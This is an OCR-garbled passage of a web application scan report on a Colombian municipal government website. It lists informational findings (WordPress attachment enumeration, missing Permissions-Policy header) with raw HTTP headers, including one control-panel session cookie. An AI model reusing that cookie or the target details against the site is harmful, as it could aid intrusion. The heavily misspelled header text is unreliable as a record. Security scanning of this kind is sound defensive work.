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WordPress Media Attachment Enumeration

VULNERABILITY BINIigeN PLUGIN ID 98224

Description

When a file is uploaded to WordPress Media Library it becomes an attachment. Then theses files can be attached to a post or
not. If files are confidential until they are published it will be easy to enumerate WordPress attachments and access these files.

Solution

Non published attachments must be reviewed and removed if confidential.

See Also

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-06-28T00:00:00+00:00
2018-06-28T00:00:00+00:00
Web Applications

Info

98224
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WordPress Media Attachment Enumeration Instances (1)

VULNERABILITY BINIigeN PLUGIN ID 98224

INSTANCE
https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
Several nedia attachnent files have been identified on the WordPress Installation. The scanner has only attenpted to
Enunerated file details are provided in the attachnent.

enunerate the first 40, reviewing all attachnments is advised.
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Missing Permissions Policy

VULNERABILITY MINIgeN PLUGIN ID 98526

Description

Permissions Policy provides mechanisms to websites to restrict the use of browser features in its own frame and in iframes that

it embeds.

Solution

Configure Permissions Policy on your website by adding 'Permissions-Policy' HTTP header.

See Also

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy

https://scotthelme.co.uk/goodbye-feature-policy-and-hello-permissions-policy/

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-03-27T700:00:00+00:00
2024-03-25T00:00:00+00:00
HTTP Security Header

Info

98526
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Missing Permissions Policy Instances (25)

VULNERABILITY MINIgeN PLUGIN ID 98526

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ 1 os- adul t os- mayor es- de- chi a-
se- gozaron- boyaca/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:21:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22400>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ i mages/

HTTP Info

REQUEST MADE
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GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 01:41:55 GVI

Cont ent - Type: text/htm

Content-Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMI
Accept - Ranges: bytes

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ secr et ari as/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/wp/ v2/ posts/ 653>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 218 of 348


https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ contr ol panel /

HTTP Info

REQUEST MADE
GET /control panel / HTTP/ 1.1

REQUEST HEADERS

Host: chi a-cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy?2Bt J9%2c4b043945560f da9514b19964b4b5be4?2

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 01:57:07 GVII
Cont ent - Type: text/htm

Transfer - Encodi ng: chunked
Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ al cal di a/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"
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Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:45:09 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi nanarca. gov.co
/ web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:58:37 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
[/ wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanarca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
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https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

QUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bares-y-
est abl eci mi ent 0os- noct ur nos/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es- y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ post s/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=20823>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ di rectori o/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/
Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: 7?1
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Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:46:26 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[ wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ control -i nt er no-
di sci plinariol

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ control -i nt er no-di sci pli nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unif;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 616>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=616>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
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X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-
soci al - graci as- a- bl anca- donoso/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:08: 06 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi nanarca. gov. co/ web/ parti ci pa/

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/ parti ci pa/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/
https://chia-cundinamarca.gov.co/web/participa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:39:13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Identification

QUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 05/ 10/ trani te-para-solicitar-
certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ trani te-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GVIT
Cont ent - Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-
factura-de-los-impuestos-predial-e-ica/

Identification

QUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a-
su- est ado- de- cuent a- 1 i qui daci on-y-factura-de-1o0s-inpuestos-predial-e-ical

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inpuestos-predial-e-ical/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:04:16 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-
servicios-publicos/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 09/ 16/ conozca-| os- canal es- de-
at enci on-de- | as- enpr esas- pr est ador as- de- servi ci os- publ i cos/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servi ci os- publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 19440>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ transpar enci a-y-acceso-a-| a-
i nf or maci on- publ i ca/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a- y- acceso- a- | a-i nf or maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/
Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sanme-origin

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

Web Application Scanning Detailed Scan Export:
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User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00: 38: 08 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanarca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on-
docunental /

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ama- de- gest i on- docunent al /

REQUEST HEADERS

